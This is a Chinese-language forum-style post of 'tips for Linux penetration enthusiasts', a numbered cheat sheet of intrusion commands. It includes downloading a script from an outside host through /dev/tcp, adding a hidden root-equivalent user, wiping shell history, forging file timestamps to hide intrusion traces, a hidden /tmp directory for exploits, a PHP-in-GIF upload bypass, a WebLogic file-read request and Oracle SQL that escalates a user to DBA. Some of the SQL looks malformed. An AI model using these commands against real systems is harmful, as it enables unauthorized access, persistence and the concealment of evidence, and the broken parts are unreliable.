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送给linux渗透爱好者的小技巧

news 来源：原创 2024/5/2 12:32:59

1.无wget nc等下载工具时下载文件

exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e "GET /c.pl HTTP/1.0\n" >&5 && cat<&5 > c.pl

2.Linux添加uid为0的用户

useradd -o -u 0 cnbird

3.bash去掉history记录

export HISTSIZE=0

export HISTFILE=/dev/null

4.SSH反向链接

ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip -p 指定远端服务器SSH端口

然后服务器上执行ssh localhost -p 44即可

5.weblogic本地读取文件漏洞

curl -H "wl_request_type: wl_xml_entity_request" -H "xml-registryname: ../../" -H "xml-entity-path: config.xml" http://server/wl_management_internal2/wl_management

6.apache查看虚拟web目录

./httpd -t -D DUMP_VHOSTS

7.cvs渗透技巧

CVSROOT/passwd UNIX SHA1的密码文件

CVSROOT/readers

CVSROOT/writers

CVS/Root

CVS/Entries 更新的文件和目录内容

CVS/Repository

8.Cpanel路径泄露

/3rdparty/squirrelmail/functions/plugin.php

9.修改上传文件时间戳(掩盖入侵痕迹)

touch -r 老文件时间戳新文件时间戳

10.利用baidu和google搜索目标主机webshell

intitle:PHPJackal 1t1t

11.包总补充

创建临时“隐藏”目录 mkdir /tmp/...

/tmp/...目录在管理员有宿醉的情况下是“隐藏”的，可以临时放点exp啥的

12.利用linux输出绕过gif限制的图片

printf "GIF89a\x01\x00\x01\x00<?php phpinfo();?>" > poc.php

13.读取环境变量对于查找信息非常有帮助

/proc/self/environ

14.最新的ORACLE 11提升用户权限(只要session权限)

DBMS_JVM_EXP_PERMS 中的IMPORT_JVM_PERMS

判断登陆权限

select * from session_privs;

Create SESSION

select * from session_roles;

select TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY Where GRANTEE = 'GREMLIN(用户名)';

DESC JAVA$POLICY$

DECLARE

POL DBMS_JVM_EXP.TEMP_JAVA_POLICY;

CURSOR C1 IS Select 'GRANT' USER(), 'SYS', 'java.io.FilePermission', '<<ALL FILES>>', 'execute', 'ENABLE' FROM DUAL;

BEGIN

OPEN C1;

FETCH C1 BULK COLLECT INTO POL;

CLOSE C1;

DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

END;

connect / as sysdba

COL TYPE_NAME FOR A30;

COL NAME FOR A30;

COL_ACTION FOR A10;

Select TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY Where GRANTEE = '用户';

connect 普通用户

set serveroutput on

exec dbms_java.set_output(10000);

Select DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID', 'oracle/aurora/rdbms/DbmsJava', 'SYS', 'writeOutputToFile', 'TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0, 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO 用户''; END;', 'BEGIN NULL; END;') FROM DUAL;

EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOWS('NO_SUCH_SUBSCRIPTION', SYSDATE());

set role dba;

select * from session_privs;

EXEC SYS.VULNPROC('FOO"||DBMS_JAVA.SET_OUTPUT_TO_SQL("ID","DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE""GRANT DBA TO PUBLIC"";DBMS_OUTPUT.PUT_LINE(:1);END;","TEXT")||"BAR');

Select DBMS_JAVA.RUNJAVA('oracle/aurora/util/Test') FROM DUAL;

SET ROLE DBA;

15. webLogic渗透技巧

四. Weblogin Script Tool(WLST)

写入到<Domain_home>\\config\\config.xml

1.进行修改:

<bea_home>\wlserver_10.0\server\bin\setWLSenv.sh

2.启动WLST

java weblogic.WLST

wls:/offline> connect('admin', 'admin', 't3://127.0.0.1:7001')

wls:/bbk/serverConfig> help()

wls:/bbk/serverConfig> edit()